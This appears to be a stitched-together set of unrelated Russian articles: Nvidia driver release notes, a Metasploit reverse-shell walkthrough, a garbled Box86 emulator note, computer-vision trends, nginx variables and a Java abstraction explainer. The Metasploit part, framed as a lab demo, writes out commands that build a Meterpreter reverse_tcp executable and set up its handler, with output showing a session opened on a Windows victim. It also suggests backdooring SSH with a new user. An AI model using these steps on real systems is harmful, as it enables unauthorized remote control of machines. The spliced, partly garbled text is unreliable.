Последняя версия драйвера Game Ready обеспечивает наилучшие игровые возможности Dune: Spice Wars с первого дня. Кроме того, этот новый драйвер Game Ready предлагает поддержку последних выпусков и обновлений, включая введение Chernobylite трассировки лучей, добавление Nvidia DLSS к JX3 Online и запуск раннего доступа Vampire: The Masquerade — Bloodhunt.
Просматривая объемные примечания к выпуску (PDF), мы также обнаруживаем ряд исправлений, представленных в этом драйвере, в том числе:
Драйвер RTX 3050 может случайно истечь время ожидания и восстановиться при использовании Google Chrome [3567457]
MSI GT83VR 6RF/GT83VR 7RF/GT83 Titan 8RG] Внутренний ноутбук монитор показывает черный экран после обновления драйвера. [3508108]
Ошибка с кодом события 14 при входе в Windows, если настроен параметр Digital Vibrance [3544567]
Vulkan: производный TouchDesigner может аварийно завершить работу OpenColorIO [3575777].
Vulkan: Enscape может отображаться неправильно [3562578].
IntelliCAD может испытывать проблемы с нестабильностью [3529698].
Siemens Teamcenter / Siemens Tecnomatix: устранены проблемы с визуализацией при использовании более старых версий GLSL [3513350].
Adobe Premiere Pro: сбой, связанный с DirectX, с последним драйвером
Еще три дисплея были проверены для G-Sync, а именно Asus ROG XG259CM, Galaxy V1-01 и Samsung G95NA.
Хотите узнать больше о том, как Nvidia проходит процесс квалификации водителей? Шон Пеллетье, старший менеджер по продукту Game Ready Drivers, представляет интересный обзор.
Существует два популярных типа shell, это соответственно bind и reverse. Bind shell – открывает новую службу на целевой машине и требует, чтобы атакующий подключился к ней для получения сеанса. Reverse shell – Обратный шелл наоборот предполагает, что атакующий сначала установил слушателя на своем компьютере, целевая машина выступает в роли клиента, подключающегося к этому слушателю, а затем, наконец, атакующий получает сеанс.
В этой статье рассмотрим использование reverse shell для получения сеанса.
Список обратных оболочек Metasploit
Чтобы получить список обратных оболочек, используйте команду msfpayload.
./msfpayload -l |grep reverse
Как правило, свой выбор стоит остановить на Meterpreter, потому что в настоящее время он обеспечивает лучшую поддержку пост-эксплуатации, которую может предложить Metasploit. Например, railgun, пост-модули, различные команды meterpreter.
Reverse shell в Windows
В Windows наиболее часто используемым reverse shell является windows/meterpreter/reverse. Вы также можете использовать windows/meterpreter/reverse_http или windows/meterpreter/reverse_https, поскольку их сетевой трафик выглядит наименее аномальным.
Linux reverse shell
В Linux вы можете попробовать использовать linux/x86/meterpreter/reverse_tcp, или 64-битную версию. Наиболее стабильным является linux/x86/shell_reverse_tcp.
Когда может потребоваться использовать reverse shell
Несколько возможных ниже приведенных сценариев предполагают использование указанного метода
Целевая машина находится в другой частной сети.
Межсетевой экран целевой машины блокирует входящие попытки подключения с помощью bind shell.
Ваша полезная нагрузка (paylods) не может быть реализована к нужному порту по какой-либо причине.
Или же Вы просто не можете решить, что выбрать.
Когда reverse shell не нужен
Вообще говоря, если вы можете создать бэкдор в существующую службу, то обратная оболочка может и не понадобиться. Например, если на целевой машине уже работает SSH-сервер, то можно попробовать добавить на него нового пользователя и использовать учетные данные для дальнейших действий.
Как настроить reverse shell при генерации полезной нагрузки
Когда вы генерируете reverse shell помощью msfpayload или msfvenom, важно понимать, как настроить следующее:
LHOST – Это IP-адрес, к которому вы хотите подключить целевую машину. Если вы находитесь в локальной сети, вряд ли ваша целевая машина сможет связаться с вами, если только вы оба не находитесь в одной сети. В этом случае вам придется узнать свой публичный IP-адрес, а затем настроить свою сеть на переадресацию этого соединения на ваш компьютер. LHOST не должен быть “localhost”, или “0.0.0.0”, или “127.0.0.1”, потому что в этом случае вы говорите целевой машине подключиться к самой себе.
LPORT – порт, к которому вы хотите подключить целевую машину.
Когда вы настраиваете слушателя для reverse shell вам также, как минимум, необходимо сконфигурировать LHOST и LPORT, но немного в другом значении (другая перспектива):
LHOST – это IP-адрес, к которому вы хотите привязать ваш слушателя.
LPORT – это порт, к которому вы хотите привязать ваш слушатель.
Перед выполнением reverse shell следует убедиться, что слушатель запущен.
Демонстрация
В этой демонстрации у нас есть две машины:
Box A:
Ящик атакующего, который получает сессию полезной нагрузки.
IP это: 192.168.1.123 (ifconfig).
В той же сети, что и машина жертвы.
Box B:
Машина “жертвы”
Windows 7
IP-адрес: 192.168.1.80 (ipconfig)
В той же сети, что и машина злоумышленника
В целях тестирования антивирус не включен.
В целях тестирования также не включен брандмауэр.
Шаг 1: Создаем исполняемую полезную нагрузку
На компьютере атакующего запустим msfpayload или msfvenom:
$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 287
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}
Шаг 2: Скопируем исполняемую полезную нагрузку в Box B
Box B – это машина жертвы.
Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A
Box A – это атакующая машина.
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) >set lport 4444
lport => 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
Шаг 4: Дважды кликнем по вредоносному исполняемому файлу
Этот шаг не требует дополнительных объяснений.
Шаг 5: Просмотр сеанса meterpreter/payload на Box A
$ ./msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) >set lport 4444
lport => 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.1.80
[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500
meterpreter >
Подсказка meterpreter говорит нам о том, что в данный момент мы взаимодействуете с paylod’ом
¯_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Недавно выпуск новые версии программы Эмуляторы Box86 0.2.6 и Box64 0.1.8. Проекты разрабатываются синхронно одной и той же командой разработчиков.
Box86 ограничен запуском 86-битных приложений x32. (например, игры) в системах Linux, отличных от x86, таких как ARM (хост-система должна быть 32-разрядной с прямым порядком байтов). Поэтому для запуска и компиляции Box32 требуется 86-битная подсистема. Box86 бесполезен только на 64-битных системах. Кроме того, вам понадобится 32-битный набор инструментов для компиляции Box86.
Компьютерное зрение является одной из самых прогрессивных и быстро развивающихся областей. По данным Grand View Research, размер мирового рынка компьютерного зрения в 2020 году оценивался в 11,32 миллиарда долларов, и ожидается, что совокупный годовой темп роста составит 7,3% в период с 2021 по 2028 год. Вариантов использования компьютерного зрения с поддержкой ИИ почти бесчисленное множество. наиболее популярными из которых являются потребительские дроны, а также автономные и полуавтономные транспортные средства. Кроме того, благодаря недавнему прогрессу в компьютерном зрении, ИИ теперь необходим в различных отраслях, таких как образование, здравоохранение, робототехника, бытовая электроника, розничная торговля, производство, и более. Итак, учитывая резкую эволюцию компьютерного зрения, важно исследовать, с чего все началось и куда идет, особенно когда дело доходит до выбора следующего разработчика систем компьютерного зрения. В этой статье мы рассмотрим основы и тенденции компьютерного зрения.
Эволюция компьютерного зрения
Текущие проблемы компьютерного зрения
Тенденция 1: компьютерное зрение на грани
Тренд 2: Компьютерное зрение как услуга
Тенденция 3: Компьютерное зрение, ориентированное на данные
Эволюция компьютерного зрения
Сегодня мы уже привыкли к тому, как наши смартфоны используют распознавание лиц или как работают вирусные маски для лица в Instagram. Мы мало знаем, что это примеры компьютерного зрения, и то, что сегодня кажется обычным, было бы невозможно без глубоких и длительных исследований.
Компьютерное зрение начало появляться в конце 1960-х годов в университетах, которые стали пионерами в области искусственного интеллекта. Идея заключалась в том, чтобы имитировать человеческое зрение и позволить компьютерам или роботам «видеть» объекты. Значительное количество существующих сегодня алгоритмов компьютерного зрения появилось еще в 1970-х годах. К ним относятся извлечение краев из изображений, маркировка линий, неполиэдральное и многогранное моделирование, кластеризация, оптический поток и оценка движения.
К подобластям современного компьютерного зрения относятся:
Реконструкция сцены
Обнаружение объекта
Обнаружение событий
Отслеживание видео
Распознавание объектов
3D оценка позы
Оценка движения
Визуальное обслуживание
3D-моделирование сцены
Восстановление изображения
Текущие проблемы компьютерного зрения
Несмотря на то, что с 1960-х годов в области компьютерного зрения был достигнут значительный прогресс, это все еще в значительной степени неосвоенная область с точки зрения исследований и разработок. В основном это связано с тем, что человеческое зрение само по себе чрезвычайно сложно, а системы компьютерного зрения страдают по сравнению с ним. Людям требуется несколько секунд, чтобы узнать своих друзей на изображениях, даже в разном возрасте, и наша способность запоминать и сохранять лица для будущего распознавания кажется безграничной. Однако трудно представить, какой объем работы потребуется компьютеру, чтобы справиться с чем-то почти подобным. Еще одна проблема, с которой сегодня сталкиваются инженеры по компьютерному зрению, — это устойчивая интеграция инструментов компьютерного зрения с открытым исходным кодом в свои приложения. В частности, решения компьютерного зрения постоянно зависят от эволюции как программного, так и аппаратного обеспечения.
Теперь, когда мы рассмотрели, с чего началось компьютерное зрение и где оно находится сегодня, давайте перенесемся в «будущее» и подумаем о некоторых наиболее многообещающих тенденциях компьютерного зрения на 2022 год.
Тенденция 1: компьютерное зрение на грани
Edge — это новое облако. Термин « пограничные вычисления » относится к технологии, привязанной к тому месту, где генерируются данные, т. е. к границе архитектуры: она позволяет обрабатывать и анализировать данные там, где (или ближе к тому месту), где они собираются, а не в облаке или Дата центр. В проектах компьютерного зрения все больше и больше внедряются архитектуры граничных вычислений, потому что они решают проблемы доступности сети, пропускной способности и задержки. Даже облачные архитектуры часто необходимо развертывать на периферийных устройствах из-за конфиденциальности, надежности и производительности. Граничные вычисления особенно популярны для проектов, где требуется обработка данных в реальном времени. К таким проектам относятся беспилотные автомобили, дроны и т. д.
Пограничные вычисления набирают все большую популярность в сфере здравоохранения. В то время как большинство людей воспринимают зрение как должное, другие живут с ограниченным видением или вообще без него. Было проведено множество исследований по использованию компьютерного зрения для помощи слабовидящим. К счастью, достижения в области технологий позволяют нам сделать мир немного лучше для тех, кто не видит его через изображение в реальном времени. Точнее, компьютерное зрение может помочь:
Идентифицировать объекты
Найдите конкретный объект среди других
Обнаружение препятствий
С обнаружением знаков и навигацией
Распознавать людей
Делитесь информацией о людских скоплениях
Аналогичные варианты использования компьютерного зрения на периферии включают помощь людям с ограниченными физическими возможностями или защиту исчезающих видов . Разумеется, список вариантов использования граничных вычислений можно продолжать и продолжать.
Тренд 2: Компьютерное зрение как услуга
По мере того, как компьютерное зрение набирает обороты, соответственно увеличивается и количество платформ, предлагающих такие решения. Использование платформ может сэкономить вам время на обработку изображений, маркировку данных и контроль данных . В целом, если вы не используете платформу компьютерного зрения, вам придется копнуть намного глубже и сделать следующее:
Разработка рабочего процесса вокруг ваших процессов ИИ.
Получение данных из разных источников.
Хранение и маркировка данных.
Проверка и исправление неправильно маркированных данных.
После версионирования.
Сейчас большое внимание уделяется CVaaS, что означает «компьютерное зрение как услуга». Это позволяет компаниям, не занимающимся искусственным интеллектом, пользоваться преимуществами технологических достижений и приобретать алгоритмы предварительной сборки, доступные на платформах компьютерного зрения. Поскольку к алгоритмам и API можно получить доступ по запросу в рамках модели оплаты по факту использования, инновации в области компьютерного зрения становятся доступными и масштабируемыми. Например, разумным шагом будет аутсорсинг услуг по аннотации данных, учитывая, что это первая и наиболее важная часть успешного проекта компьютерного зрения. Мусор на входе, мусор на выходе, помните?
Если вам посчастливилось найти платформу, отвечающую вашим потребностям, придерживайтесь ее (и никогда не отказывайтесь от нее), чтобы убедиться, что ваш проект компьютерного зрения находится в надежных руках.
Тенденция 3: Компьютерное зрение, ориентированное на данные
Компьютерное зрение — это все о данных, и модель так же хороша, как и примеры, которыми вы ее кормите. Первый шаг к созданию моделей ИИ — это сбор огромных наборов данных для обучения. Мы ошибочно думаем, что неточность нашей модели может быть решена только путем сбора большого, иногда безумного количества данных. Например, если мы создаем модель для обнаружения кроликов, нам потребуется десять тысяч изображений кроликов с разных ракурсов, при различных погодных условиях и условиях освещения; мы будем собирать кроликов разных размеров и цветов.
Тем не менее, сегодня наблюдается тенденция к тому, чтобы качество преобладало над количеством. Это не означает, что количество примеров не играет никакой роли, но ваша модель обучения не обязательно выиграет от большого количества примеров обучения. Скорее, это будет работать хорошо, если предоставленные обучающие примеры будут точными и информативными. Если мы обнаружим, что наши тренировочные данные неточны, мы можем либо убрать шум, либо найти неправильно помеченные изображения. Если он недостаточно информативен, мы можем удвоить набор данных и собрать еще одну партию изображений с кроликами или даже заменить первую партию. Как измерить информативность изображения? Что ж, это заслуживает отдельной статьи.
Исследования показывают, что оба они одинаково эффективны с точки зрения улучшения производительности вашего алгоритма обучения. В большинстве случаев гораздо проще обнаружить неправильно помеченные примеры и найти систематический способ их правильной маркировки. Это то самое компьютерное зрение, ориентированное на данные, за которым будущее успешных приложений компьютерного зрения. MLOps также подпадает под эту категорию, направленную на систематизацию разработки и развертывания систем машинного обучения, но это, опять же, совсем другая тема для обсуждения.
Основные выводы
Компьютерное зрение прошло долгий путь, и ему предстоит еще многое сделать. Будущее компьютерного зрения многообещающее, учитывая нынешние ресурсы и талантливых специалистов. Прогресс технологий и разработка алгоритмов компьютерного зрения открывают море возможностей для применения компьютерного зрения в реальной жизни. Это приводит к увеличению количества платформ компьютерного зрения, предлагая самые разнообразные услуги для создания и реализации комплексного конвейера компьютерного зрения. Мы будем создавать приложения компьютерного зрения на периферийных вычислениях и сосредоточимся на сборе четких и информативных данных о начальных этапах обучения модели компьютерного зрения, а не на сборе огромных неинформативных наборов данных, полных шума.
$args, эта переменная равна аргументам в строке запроса;
$arg_name, эта переменная равна аргументу name в строке запроса;
$binary_remote_addr, эта переменная равна адресу клиента в бинарном виде, длина её значения всегда 4 байта;
$content_length, эта переменная равна строке «Content-Length» в заголовке запроса;
$content_type, эта переменная равна строке «Content-Type» в заголовке запроса;
$cookie_name, эта переменная равна cookie name;
$document_root, эта переменная равна значению директивы root для текущего запроса;
$document_uri, то же самое, что и $uri;
$host, эта переменная равна строке «Host» в заголовке запроса или имени сервера, на который пришёл запрос, если этой строки нет;
$hostname, эта переменная равна имени хоста;
$http_name, эта переменная равна строке name в заголовке запроса;
$is_args, эта переменная равна «?», если в строке запроса есть аргументы, и пустой строке, если их нет;
$limit_rate, эта переменная позволяет установить ограничение скорости соединения;
$pid, эта переменная равна номеру рабочего процесса;
$request_method, эта переменная равна методу запроса, обычно это «GET» или «POST»;
$remote_addr, эта переменная равна адресу клиента;
$remote_port, эта переменная равна порту клиента;
$remote_user, эта переменная равна имени пользователя, используемого в Basic аутентификации;
$realpath_root, эта переменная равна значению директивы root для текущего запроса, при этом все символические ссылки преобразованы в реальные путь;
$request_filename, эта переменная равна пути к файлу для текущего запроса, формируемому из директив root или alias и URI запроса;
$request_body, эта переменная содержит тело запроса. Значение переменной появляется в location’ах, обрабатываемых директивами proxy_pass и fastcgi_pass.
$request_body_file, эта переменная равна имени временного файла, в котором хранится тело запроса. По завершению работы файл необходимо удалить. Для того, чтобы тело запроса клиента всегда записывалось в файл, нужно указать client_body_in_file_only on. При передаче имени в проксированном запросе или в запросе к FastCGI-серверу следует запретить передачу самого тела директивами «proxy_pass_request_body off» или «fastcgi_pass_request_body off» соответственно.
$request_uri, эта переменная равна полному первоначальному URI вместе с аргументами;
$query_string, то же самое, что и $args;
$scheme, эта переменная равна схеме запроса — «http» или «https»;
$server_protocol, эта переменная равна протоколу запроса, обычно это «HTTP/1.0» или «HTTP/1.1»;
$server_addr, эта переменная равна адресу сервера, на который пришёл запрос. Как правило, для получения значения этой переменной делается один системный вызов. Для того, чтобы избежать системного вызова, нужно указывать адреса в директивах listen и использовать параметр bind;
$server_name, эта переменная равна имени сервера, на который пришёл запрос;
$server_port, эта переменная равна порту сервера, на который пришёл запрос;
$uri, эта переменная равна текущему URI в запросе, он может отличаться от первоначального, например, при внутренних редиректах или при использовании индексных файлов.
Java предоставляет несколько способов обеспечения абстракции данных, таких как интерфейсы Java и абстрактные классы Java. И интерфейс, и абстрактный класс обеспечивают безопасность, скрывая детали внутренней реализации и показывая/выделяя только необходимые детали. Однако между абстрактными классами и интерфейсами существует множество сходств и различий.
Этот пост поможет вам в перечисленных ниже аспектах интерфейсов Java и абстрактных классов:
Что такое интерфейс Java.
Что такое абстрактный класс Java.
Сравнение на основе сходства.
Абстрактный класс Java против интерфейса Java.
Итак, начнем!
Что такое Java-интерфейс
Это шаблон для класса, который содержит некоторые абстрактные методы и статические/финальные переменные. В java интерфейсы предоставляют только объявление метода, а дочерние/реализованные классы предоставляют определение метода.
Что такое абстрактный класс Java
Любой класс Java, который имеет хотя бы один абстрактный (только объявление метода) метод, известен как абстрактный класс в Java.
Сравнение на основе сходства
Некоторые важные аспекты интерфейсов и абстрактных классов Java перечислены ниже:
В java мы не можем создать объект/экземпляр обоих интерфейсов или абстрактных классов.
Оба предоставляют пользователю только необходимые данные.
Оба обеспечивают абстракцию.
Оба могут иметь абстрактные методы/функции.
Оба скрывают информацию/детали реализации от пользователей.
Абстрактный класс Java против интерфейса Java
Ключевые слова «abstract» и «interface» используются в java для создания/объявления абстрактных классов и интерфейсов соответственно.
В интерфейсах все члены по умолчанию считаются общедоступными, поэтому нет необходимости указывать модификатор доступа для членов интерфейсов. В то время как в абстрактных классах такого ограничения нет, и, следовательно, любой модификатор доступа может использоваться для членов абстрактных классов, таких как общедоступные, защищенные и т. д.
Основной синтаксис абстрактного класса и интерфейса показан в приведенных ниже фрагментах:
Интерфейсы должны иметь все абстрактные методы, а абстрактные классы могут иметь как абстрактные, так и неабстрактные методы.
Интерфейс может иметь только статические члены, тогда как абстрактные классы могут иметь статические и нестатические члены.
Интерфейсы имеют только «конечные» (неизменяемые) члены, в то время как абстрактные классы могут иметь конечные и неконечные члены.
Интерфейсы не имеют никакого конструктора, в то время как абстрактные классы имеют определяемые пользователем конструкторы или конструкторы по умолчанию.
Множественное наследование может быть достигнуто с помощью интерфейсов, в то время как абстрактные классы не поддерживают множественное наследование.
В Java абстрактный класс может наследовать другой класс и может реализовывать множество интерфейсов, с другой стороны, интерфейс Java может расширять только другой интерфейс.
Пример
Приведенный ниже пример позволит вам понять, как интерфейсы и абстрактные классы работают в java:
В этом примере мы создали интерфейс «FirstInterface» , абстрактный класс «AbstractClass» и еще два обычных класса Java и выполнили следующие функции:
FirstInterface содержит три абстрактных метода.
AbstractClass реализует FirstInterface и переопределяет methodThree ().
NormalClass расширяет AbstractClass и переопределяет методы methodOne() и methodTwo() класса FirstInterface.
InterfaceExample — это основной класс, из которого мы создали основной метод и вызвали все методы FirstInterface :
Вывод подтвердил работу указанной выше Java-программы.
Вывод
В Java абстракция может быть достигнута с помощью абстрактных классов и интерфейсов, и оба они не могут быть созданы. Однако между абстрактными классами и интерфейсами существует множество различий. Например, интерфейсы должны иметь все абстрактные методы, а абстрактные классы могут иметь абстрактные и неабстрактные методы; используя интерфейсы, можно достичь множественного наследования, в то время как абстрактные классы не поддерживают множественное наследование и т. д. В этом посте объясняются различные аспекты абстрактных классов и интерфейсов с помощью подходящих примеров.